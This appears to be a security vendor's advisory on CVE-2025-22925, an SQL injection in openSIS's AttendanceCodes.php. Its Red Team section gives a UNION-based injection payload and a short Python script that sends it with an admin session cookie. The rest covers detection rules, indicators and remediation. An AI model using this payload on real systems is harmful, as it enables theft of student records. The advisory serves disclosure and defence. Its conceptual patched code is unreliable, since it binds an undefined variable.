CVE-2025-22925

Executive Summary

CVE-2025-22925 is a critical SQL injection vulnerability discovered in OS4ED openSIS, affecting versions 7.0 through 9.1. The flaw resides in the /attendance/AttendanceCodes.php endpoint, specifically within the table parameter. An authenticated attacker with admin role privileges can inject arbitrary SQL commands, leading to potential data exfiltration, modification, or complete database compromise. The vulnerability has a public proof-of-concept (PoC) but no official patch or EPSS score, indicating low exploitation likelihood currently, though the risk remains high due to the sensitive nature of student information systems (SIS). No supply chain package (NPM, PyPI, Go, Ruby) is associated with this vulnerability.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and impact, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – simple injection via HTTP parameter.
• Privileges Required (PR): High (H) – requires admin role.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – vulnerable component only.
• Confidentiality (C): High (H) – full database read.
• Integrity (I): High (H) – data modification possible.
• Availability (A): High (H) – potential denial of service via destructive queries.

Estimated CVSS Score: 7.2 (High)

Threat Level: High – despite requiring admin privileges, the impact on student data privacy and system integrity is severe.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the table parameter of /attendance/AttendanceCodes.php. The application likely constructs SQL queries by directly concatenating user-supplied input without proper sanitization or parameterized queries. An admin user can manipulate the table parameter to break out of the intended SQL syntax and execute arbitrary commands.

Root Cause: Lack of input validation and prepared statements in the PHP code handling the table parameter.

Attack Vector: HTTP GET or POST request to /attendance/AttendanceCodes.php?table=INJECTION_PAYLOAD.

Impact: Full database compromise, including extraction of student records, grades, personal data, and potential lateral movement to other systems.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$table = $_GET['table'];
$query = "SELECT * FROM " . $table . " WHERE id = 1";
$result = mysqli_query($conn, $query);
?>

Patched Code (Conceptual):

<?php
$table = $_GET['table'];
$allowed_tables = ['attendance_codes', 'students', 'teachers'];
if (in_array($table, $allowed_tables)) {
    $query = "SELECT * FROM " . $table . " WHERE id = ?";
    $stmt = mysqli_prepare($conn, $query);
    mysqli_stmt_bind_param($stmt, "i", $id);
    mysqli_stmt_execute($stmt);
} else {
    die("Invalid table");
}
?>

The patched version uses whitelisting and prepared statements to prevent injection.

Exploitation & Lab Setup

Red Team

Prerequisites: Admin credentials for openSIS.

Exploit Steps:

1. Authenticate as admin.
2. Send a crafted request to /attendance/AttendanceCodes.php?table=attendance_codes UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -.
3. Extract database schema using information_schema.
4. Dump sensitive tables (e.g., students, users).

Example Payload:

table=attendance_codes UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM information_schema.tables-- -

Automation Script (Python):

import requests

url = "http://target/attendance/AttendanceCodes.php"
cookies = {"PHPSESSID": "your_session_id"}
payload = "attendance_codes UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
params = {"table": payload}
r = requests.get(url, params=params, cookies=cookies)
print(r.text)

Blue Team

Detection:

• Monitor for unusual SQL error messages in logs.
• Alert on requests to /attendance/AttendanceCodes.php with suspicious table parameters (e.g., containing UNION, SELECT, --).
• Implement Web Application Firewall (WAF) rules to block SQL injection patterns.

Hunting:

• Search web server logs for table= followed by SQL keywords.
• Correlate admin account activity with abnormal database queries.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /attendance/AttendanceCodes.php with table parameter containing SQL syntax.
• Logs: Database error logs showing syntax errors or unexpected query results.
• File: Modified PHP files in the openSIS installation directory.
• Behavior: Unusual database queries from the web server user.

Detection Engineering

YARA Rule

rule CVE_2025_22925_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-22925"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $sqli1 = "table=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "FROM" nocase
        $sqli5 = "--" nocase
    condition:
        all of ($sqli1, $sqli2, $sqli3, $sqli4, $sqli5)
}

Sigma Rule

title: CVE-2025-22925 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against openSIS AttendanceCodes.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/attendance/AttendanceCodes.php?table='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
            - '--'
    condition: selection
falsepositives:
    - Legitimate admin testing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22925 SQL Injection Attempt"; flow:to_server,established; content:"/attendance/AttendanceCodes.php"; http_uri; content:"table="; http_uri; pcre:"/UNION.*SELECT.*--/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the openSIS server from the internet if possible.
2. Restrict admin access to trusted IPs only.
3. Apply input validation and parameterized queries to the table parameter.

Long-term Fix:

• Upgrade to a patched version once available (check OS4ED official site).
• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Conduct a full security audit of the application.

Workaround:

• Manually patch the code by whitelisting allowed table names and using prepared statements.

Valters IT – Securing Digital Frontiers